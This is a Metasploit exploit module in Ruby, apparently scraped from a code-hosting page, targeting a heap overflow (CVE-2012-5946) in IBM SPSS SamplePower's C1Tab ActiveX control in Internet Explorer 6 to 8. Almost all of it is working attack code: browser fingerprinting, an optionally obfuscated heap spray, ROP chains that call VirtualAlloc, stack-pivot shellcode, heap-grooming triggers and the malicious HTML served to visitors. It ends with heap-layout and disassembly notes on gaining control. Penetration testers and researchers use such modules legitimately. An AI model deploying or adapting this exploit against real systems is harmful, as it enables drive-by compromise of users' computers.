479 lines
No EOL
17 KiB
Ruby
Executable file
479 lines
No EOL
17 KiB
Ruby
Executable file
##
|
||
# This file is part of the Metasploit Framework and may be subject to
|
||
# redistribution and commercial restrictions. Please see the Metasploit
|
||
# Framework web site for more information on licensing and terms of use.
|
||
# http://metasploit.com/framework/
|
||
##
|
||
|
||
require 'msf/core'
|
||
|
||
class Metasploit3 < Msf::Exploit::Remote
|
||
Rank = NormalRanking
|
||
|
||
include Msf::Exploit::Remote::HttpServer::HTML
|
||
include Msf::Exploit::RopDb
|
||
include Msf::Exploit::Remote::BrowserAutopwn
|
||
|
||
autopwn_info({
|
||
:ua_name => HttpClients::IE,
|
||
:ua_minver => "6.0",
|
||
:ua_maxver => "8.0",
|
||
:javascript => true,
|
||
:os_name => OperatingSystems::WINDOWS,
|
||
:rank => NormalRanking,
|
||
:classid => "{24E04EBF-014D-471F-930E-7654B1193BA9}",
|
||
:method => "TabCaption"
|
||
})
|
||
|
||
|
||
def initialize(info={})
|
||
super(update_info(info,
|
||
'Name' => "IBM SPSS SamplePower C1Tab ActiveX Heap Overflow",
|
||
'Description' => %q{
|
||
This module exploits a heap based buffer overflow in the C1Tab ActiveX control,
|
||
while handling the TabCaption property. The affected control can be found in the
|
||
c1sizer.ocx component as included with IBM SPSS SamplePower 3.0. This module has
|
||
been tested successfully on IE 6, 7 and 8 on Windows XP SP3 and IE 8 on Windows 7
|
||
SP1.
|
||
},
|
||
'License' => MSF_LICENSE,
|
||
'Author' =>
|
||
[
|
||
'Alexander Gavrun', # Vulnerability discovery
|
||
'juan vazquez' # Metasploit
|
||
],
|
||
'References' =>
|
||
[
|
||
[ 'CVE', '2012-5946' ],
|
||
[ 'OSVDB', '92845' ],
|
||
[ 'BID', '59559' ],
|
||
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21635476' ]
|
||
],
|
||
'Payload' =>
|
||
{
|
||
'Space' => 991,
|
||
'BadChars' => "\x00",
|
||
'DisableNops' => true
|
||
},
|
||
'DefaultOptions' =>
|
||
{
|
||
'InitialAutoRunScript' => 'migrate -f'
|
||
},
|
||
'Platform' => 'win',
|
||
'Targets' =>
|
||
[
|
||
# IBM SPSS SamplePower 3.0 / c1sizer.ocx 8.0.20071.39
|
||
[ 'Automatic', {} ],
|
||
[ 'IE 6 on Windows XP SP3',
|
||
{
|
||
'Offset' => '0x5F4',
|
||
'Ret' => 0x0c0c0c08
|
||
}
|
||
],
|
||
[ 'IE 7 on Windows XP SP3',
|
||
{
|
||
'Offset' => '0x5F4',
|
||
'Ret' => 0x0c0c0c08
|
||
}
|
||
],
|
||
[ 'IE 8 on Windows XP SP3',
|
||
{
|
||
'Offset' => '0x5f4',
|
||
'Ret' => 0x0c0c0c0c,
|
||
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
|
||
}
|
||
],
|
||
[ 'IE 8 on Windows 7',
|
||
{
|
||
'Offset' => '0x5f4',
|
||
'Ret' => 0x0c0c0c0c,
|
||
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
|
||
}
|
||
]
|
||
],
|
||
'Privileged' => false,
|
||
'DisclosureDate' => "Apr 26 2013",
|
||
'DefaultTarget' => 0))
|
||
|
||
register_options(
|
||
[
|
||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||
], self.class)
|
||
|
||
end
|
||
|
||
def get_target(agent)
|
||
#If the user is already specified by the user, we'll just use that
|
||
return target if target.name != 'Automatic'
|
||
|
||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||
|
||
ie_name = "IE #{ie}"
|
||
|
||
case nt
|
||
when '5.1'
|
||
os_name = 'Windows XP SP3'
|
||
when '6.0'
|
||
os_name = 'Windows Vista'
|
||
when '6.1'
|
||
os_name = 'Windows 7'
|
||
end
|
||
|
||
targets.each do |t|
|
||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||
print_status("Target selected as: #{t.name}")
|
||
return t
|
||
end
|
||
end
|
||
print_status("target not found #{agent}")
|
||
return nil
|
||
end
|
||
|
||
def ie_heap_spray(my_target, p)
|
||
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
||
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
||
|
||
# Land the payload at 0x0c0c0c0c
|
||
# For IE 6, 7, 8
|
||
js = %Q|
|
||
var heap_obj = new heapLib.ie(0x20000);
|
||
var code = unescape("#{js_code}");
|
||
var nops = unescape("#{js_nops}");
|
||
while (nops.length < 0x80000) nops += nops;
|
||
var offset = nops.substring(0, #{my_target['Offset']});
|
||
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||
var block = shellcode.substring(0, (0x80000-6)/2);
|
||
heap_obj.gc();
|
||
for (var i=1; i < 0x300; i++) {
|
||
heap_obj.alloc(block);
|
||
}
|
||
var overflow = nops.substring(0, 10);
|
||
|
|
||
|
||
js = heaplib(js, {:noobfu => true})
|
||
|
||
if datastore['OBFUSCATE']
|
||
js = ::Rex::Exploitation::JSObfu.new(js)
|
||
js.obfuscate
|
||
end
|
||
|
||
return js
|
||
end
|
||
|
||
def junk(n=4)
|
||
return rand_text_alpha(n).unpack("V").first
|
||
end
|
||
|
||
def rop_chain
|
||
# gadgets from c1sizer.ocx
|
||
rop_gadgets =
|
||
[
|
||
0x0c0c0c10,
|
||
0x10026984, # ADD ESP,10 # POP EDI # POP ESI # POP EBX # POP EBP # RETN # stackpivot to the controlled stack
|
||
0x100076f1, # pop eax # ret
|
||
0x10029134, # &VirtualAllox
|
||
0x1001b41e, # jmp [eax]
|
||
0x0c0c0c34, # ret address
|
||
0x0c0c0c0c, # lpAddress
|
||
0x00001000, # dwSize
|
||
0x00001000, # flAllocationType
|
||
0x00000040 # flProtect
|
||
].pack("V*")
|
||
|
||
return rop_gadgets
|
||
end
|
||
|
||
def get_payload(t, cli)
|
||
code = payload.encoded
|
||
# No rop. Just return the payload.
|
||
|
||
if (t.name =~ /IE 6/ or t.name =~ /IE 7/)
|
||
fake_memory = [
|
||
0x0c0c0c10,
|
||
0x0c0c0c14
|
||
].pack("V*")
|
||
return fake_memory + code
|
||
end
|
||
|
||
return rop_chain + stack_pivot + code
|
||
end
|
||
|
||
# Objects filling aren't randomized because
|
||
# this combination make exploit more reliable.
|
||
def fake_object(size)
|
||
object = "B" * 8 # metadata
|
||
object << "D" * size # fake object
|
||
return object
|
||
end
|
||
|
||
def stack_pivot
|
||
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
|
||
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
|
||
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
|
||
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
|
||
return pivot
|
||
end
|
||
|
||
# Check the memory layout documentation at the end of the module
|
||
def overflow_xp
|
||
buf = rand_text_alpha(0x10000)
|
||
# Start to overflow
|
||
buf << fake_object(0x40)
|
||
buf << fake_object(0x30)
|
||
buf << fake_object(0x30)
|
||
buf << fake_object(0x40)
|
||
buf << fake_object(0x10)
|
||
buf << fake_object(0x10)
|
||
buf << fake_object(0x20)
|
||
buf << fake_object(0x10)
|
||
buf << fake_object(0x30)
|
||
buf << "B" * 0x8 # metadata chunk
|
||
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
|
||
end
|
||
|
||
# Check the memory layout documentation at the end of the module
|
||
def overflow_xp_ie8
|
||
buf = [
|
||
junk, # padding
|
||
0x1001b557, # pop eax # c1sizer.ocx
|
||
0x0c0c0c14, # eax
|
||
0x10028ad8 # xchg eax,esp # c1sizer.ocx # stackpivot to the heap
|
||
].pack("V*")
|
||
buf << rand_text_alpha(0x10000-16)
|
||
# Start to overflow
|
||
buf << "B" * 0x8 # metadata chunk
|
||
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
|
||
end
|
||
|
||
# Check the memory layout documentation at the end of the module
|
||
def overflow_w7
|
||
buf = [
|
||
junk, # padding
|
||
0x1001b557, # pop eax # c1sizer.ocx
|
||
0x0c0c0c14, # eax
|
||
0x10028ad8 # xchg eax,esp # c1sizer.ocx # stackpivot to the heap
|
||
].pack("V*")
|
||
buf << rand_text_alpha(0x10000-16)
|
||
# Start to oveflow
|
||
buf << fake_object(0x3f8)
|
||
buf << fake_object(0x1a0)
|
||
buf << fake_object(0x1e0)
|
||
buf << fake_object(0x1a0)
|
||
buf << fake_object(0x1e0)
|
||
buf << fake_object(0x1a0)
|
||
buf << "B" * 0x8 # metadata chunk
|
||
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
|
||
end
|
||
|
||
def get_overflow(t)
|
||
if t.name =~ /Windows 7/
|
||
return overflow_w7
|
||
elsif t.name =~ /Windows XP/ and t.name =~ /IE 8/
|
||
return overflow_xp_ie8
|
||
elsif t.name =~ /Windows XP/
|
||
return overflow_xp
|
||
end
|
||
end
|
||
|
||
# * 15 C1TAB objects are used to defragement the heap, so objects are stored after the vulnerable buffer.
|
||
# * Based on empirical tests, 5th C1TAB comes after the vulnerable buffer.
|
||
# * Using the 7th CITAB is possible to overflow itself and get control before finishing the set of the
|
||
# TabCaption property.
|
||
def trigger_w7
|
||
target = rand_text_alpha(5 + rand(3))
|
||
target2 = rand_text_alpha(5 + rand(3))
|
||
target3 = rand_text_alpha(5 + rand(3))
|
||
target4 = rand_text_alpha(5 + rand(3))
|
||
target5 = rand_text_alpha(5 + rand(3))
|
||
target6 = rand_text_alpha(5 + rand(3))
|
||
target7 = rand_text_alpha(5 + rand(3))
|
||
target8 = rand_text_alpha(5 + rand(3))
|
||
target9 = rand_text_alpha(5 + rand(3))
|
||
target10 = rand_text_alpha(5 + rand(3))
|
||
target11 = rand_text_alpha(5 + rand(3))
|
||
target12 = rand_text_alpha(5 + rand(3))
|
||
target13 = rand_text_alpha(5 + rand(3))
|
||
target14 = rand_text_alpha(5 + rand(3))
|
||
target15 = rand_text_alpha(5 + rand(3))
|
||
|
||
objects = %Q|
|
||
<object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
<object id="#{target2}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
<object id="#{target3}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
<object id="#{target4}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
<object id="#{target5}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
<object id="#{target6}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
<object id="#{target7}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
<object id="#{target8}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
<object id="#{target9}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
<object id="#{target10}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
<object id="#{target11}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
<object id="#{target12}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
<object id="#{target13}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
<object id="#{target14}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
<object id="#{target15}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
|
|
||
return objects, target7
|
||
end
|
||
|
||
# * Based on empirical test, the C1TAB object comes after the vulnerable buffer on memory, so just
|
||
# an object is sufficient to overflow itself and get control execution.
|
||
def trigger_xp
|
||
target = rand_text_alpha(5 + rand(3))
|
||
|
||
objects = %Q|
|
||
<object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
||
|
|
||
return objects, target
|
||
end
|
||
|
||
def get_trigger(t)
|
||
if t.name =~ /Windows 7/
|
||
return trigger_w7
|
||
elsif t.name =~ /Windows XP/
|
||
return trigger_xp
|
||
end
|
||
end
|
||
|
||
def load_exploit_html(my_target, cli)
|
||
p = get_payload(my_target, cli)
|
||
js = ie_heap_spray(my_target, p)
|
||
buf = get_overflow(my_target)
|
||
|
||
objects, target_object = get_trigger(my_target)
|
||
|
||
html = %Q|
|
||
<html>
|
||
<head>
|
||
</head>
|
||
<body>
|
||
#{objects}
|
||
<script>
|
||
CollectGarbage();
|
||
#{js}
|
||
#{target_object}.Caption = "";
|
||
#{target_object}.TabCaption(0) = "#{buf}";
|
||
</script>
|
||
</body>
|
||
</html>
|
||
|
|
||
|
||
return html
|
||
end
|
||
|
||
def on_request_uri(cli, request)
|
||
agent = request.headers['User-Agent']
|
||
uri = request.uri
|
||
print_status("Requesting: #{uri}")
|
||
|
||
my_target = get_target(agent)
|
||
# Avoid the attack if no suitable target found
|
||
if my_target.nil?
|
||
print_error("Browser not supported, sending 404: #{agent}")
|
||
send_not_found(cli)
|
||
return
|
||
end
|
||
|
||
html = load_exploit_html(my_target, cli)
|
||
html = html.gsub(/^\t\t/, '')
|
||
print_status("Sending HTML...")
|
||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||
end
|
||
|
||
end
|
||
|
||
|
||
=begin
|
||
|
||
[*] Windows XP / ie6 & ie7 memory layout at oveflow, based on empirical test
|
||
|
||
Heap entries for Segment01 in Heap 01ca0000
|
||
address: psize . size flags state (requested size)
|
||
025c0000: 00000 . 00040 [01] - busy (40)
|
||
025c0040: 00040 . 10008 [01] - busy (10000)
|
||
025d0048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer
|
||
025e0050: 10008 . 00048 [01] - busy (40)
|
||
025e0098: 00048 . 00038 [01] - busy (30)
|
||
025e00d0: 00038 . 00038 [01] - busy (30)
|
||
025e0108: 00038 . 00048 [01] - busy (40)
|
||
025e0150: 00048 . 00018 [01] - busy (10)
|
||
025e0168: 00018 . 00018 [01] - busy (10)
|
||
025e0180: 00018 . 00028 [01] - busy (20)
|
||
025e01a8: 00028 . 00018 [01] - busy (10)
|
||
025e01c0: 00018 . 00010 [00]
|
||
025e01d0: 00010 . 00038 [01] - busy (30)
|
||
025e0208: 00038 . 001e8 [01] - busy (1e0) // Vulnerable object
|
||
025e03f0: 001e8 . 001a8 [01] - busy (1a0)
|
||
|
||
|
||
[*] Windows XP / ie8 memory layout at oveflow, based on empirical test
|
||
|
||
Heap entries for Segment01 in Heap 03350000
|
||
address: psize . size flags state (requested size)
|
||
03840000: 00000 . 00040 [01] - busy (40)
|
||
03840040: 00040 . 10008 [01] - busy (10000)
|
||
03850048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer
|
||
03860050: 10008 . 001e8 [01] - busy (1e0) // Vulnerable object
|
||
03860238: 001e8 . 001a8 [01] - busy (1a0)
|
||
038603e0: 001a8 . 00078 [00]
|
||
03860458: 00078 . 00048 [01] - busy (40)
|
||
038604a0: 00048 . 00048 [01] - busy (40)
|
||
038604e8: 00048 . 00618 [01] - busy (610)
|
||
03860b00: 00618 . 10208 [01] - busy (10200)
|
||
03870d08: 10208 . 032f8 [10]
|
||
03874000: 000cc000 - uncommitted bytes.
|
||
|
||
|
||
[*] windows 7 / ie8 memory layout at oveflow, based on empirical test
|
||
|
||
03240000: 00000 . 00040 [101] - busy (3f)
|
||
03240040: 00040 . 10008 [101] - busy (10000)
|
||
03250048: 10008 . 10008 [101] - busy (10000) # Overwritten buffer
|
||
03260050: 10008 . 00400 [101] - busy (3f8) Internal
|
||
03260450: 00400 . 001a8 [101] - busy (1a0)
|
||
032605f8: 001a8 . 001e8 [101] - busy (1e0)
|
||
032607e0: 001e8 . 001a8 [101] - busy (1a0)
|
||
03260988: 001a8 . 001e8 [101] - busy (1e0)
|
||
03260b70: 001e8 . 001a8 [101] - busy (1a0)
|
||
03260d18: 001a8 . 001e8 [101] - busy (1e0) # Our vulnerable object, target7, seems reliable according to testing
|
||
03260f00: 001e8 . 001a8 [101] - busy (1a0)
|
||
032610a8: 001a8 . 001e8 [101] - busy (1e0)
|
||
03261290: 001e8 . 001a8 [101] - busy (1a0)
|
||
03261438: 001a8 . 001e8 [101] - busy (1e0)
|
||
03261620: 001e8 . 001a8 [101] - busy (1a0)
|
||
032617c8: 001a8 . 001e8 [101] - busy (1e0)
|
||
|
||
[*] Overflow:
|
||
|
||
.text:100146E1 push eax ; lpString2
|
||
.text:100146E2 push CaptionlpBuffer ; lpString1
|
||
.text:100146E8 call ds:lstrcatA ; Heap Overflow when setting a new CaptionString > 0x10000
|
||
|
||
[*] Get Control after overflow:
|
||
|
||
.text:1001A40D call overflow_sub_1001469E ; Overflow happens here
|
||
.text:1001A412 mov ecx, edi ; edi points to the overflowed object, then ecx (this)
|
||
.text:1001A414 call get_control_sub_100189EC ; Get profit from the overflowed object here
|
||
|
||
.text:100189EC get_control_sub_100189EC proc near ; CODE XREF: sub_1001A1A9+B6p
|
||
.text:100189EC ; SetTabCaption_sub_1001A2EC+128p ...
|
||
.text:100189EC
|
||
.text:100189EC var_4 = dword ptr -4
|
||
.text:100189EC
|
||
.text:100189EC push ebp
|
||
.text:100189ED mov ebp, esp
|
||
.text:100189EF push ecx
|
||
.text:100189F0 mov eax, [ecx+10h] # ecx points to controlled memory, so eax can be controlled
|
||
.text:100189F3 and [ebp+var_4], 0
|
||
.text:100189F7 test eax, eax
|
||
.text:100189F9 jz short locret_10018A23
|
||
.text:100189FB mov ecx, [eax] # eax can be controlled and make it point to sprayed mem, ecx can be controlled
|
||
.text:100189FD lea edx, [ebp+var_4]
|
||
.text:10018A00 push edx
|
||
.text:10018A01 push offset unk_1002B628
|
||
.text:10018A06 push eax
|
||
.text:10018A07 call dword ptr [ecx] # woot!
|
||
|
||
=end |